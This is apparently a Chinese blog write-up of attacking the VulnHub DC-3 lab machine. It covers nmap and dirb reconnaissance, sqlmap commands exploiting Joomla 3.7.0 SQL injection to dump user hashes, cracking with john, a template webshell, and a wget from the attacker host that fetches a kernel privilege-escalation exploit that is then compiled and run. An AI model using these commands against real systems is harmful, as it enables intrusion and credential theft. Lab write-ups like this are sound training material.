渗透测试靶机vulnhub——DC3实战笔记

vm在导入虚拟机的时候把IDE里面的改成IDE 0:0

信息收集

fscan扫描存活主机

目标机器是192.168.1.106

nmap扫描端口

nmap -A 192.168.1.106 -p-                                                                                                                                                                                                          255 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-16 10:24 CST
Nmap scan report for 192.168.1.106
Host is up (0.00031s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.47 seconds
zsh: segmentation fault  nmap -A 192.168.1.106 -p-

就开放了80端口,直接浏览器访问

通过浏览器插件知道目标网站cms,php版本等信息

目录扫描后台

└─$ dirb http://192.168.1.106/

扫描漏洞

安装工具JoomScan

git clone https://github.com/rezasp/joomscan.git  ##下载源码
cd joomscan  ##进入路径
perl joomscan.pl ##运行
perl joomscan.pl --url 192.168.1.106

根据上面的信息可以搜集相关版本的漏洞

漏洞发现

通过上面信息收集的基本信息我们可以 使用工具searchsploit 搜Joomla 的版本号即可。

└─$ searchsploit Joomla 3.7.0      

将exp说明文件复制到桌面上

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomscan-1.txt         

查看文件SQL注入,直接使用sqlmap执行命令

查看表名

└─$ sqlmap -u "http://192.168.1.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

└─$ sqlmap -u "http://192.168.1.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

爆破字段

查询#__users表的name、password字段

在桌面随便建一个文件把password的hash密文放进去 然后使用john进行爆破 密码:snoopy

在后台模板处写入一句话木马

连接webshell

提权

uname -a 查看内核版本

上传提权脚本并运行

cp /usr/share/exploitdb/exploits/linux/local/39772.txt poc.txt

下载39772压缩包

kali开启web服务,

└─$ python3 -m http.server 80       
</templates/beez3/html$ wget http://192.168.1.53/39772.zip                   

目标机下载压缩包解压

unzip 39772.zip
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

提权成功

flag

查看flag

总结

  • 学习使用JoomScan工具

  • 用searchsploit 查找已知漏洞exp

  • John工具破解密码hash

  • 后台模板写shell

朔风如解意,容易莫摧残

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值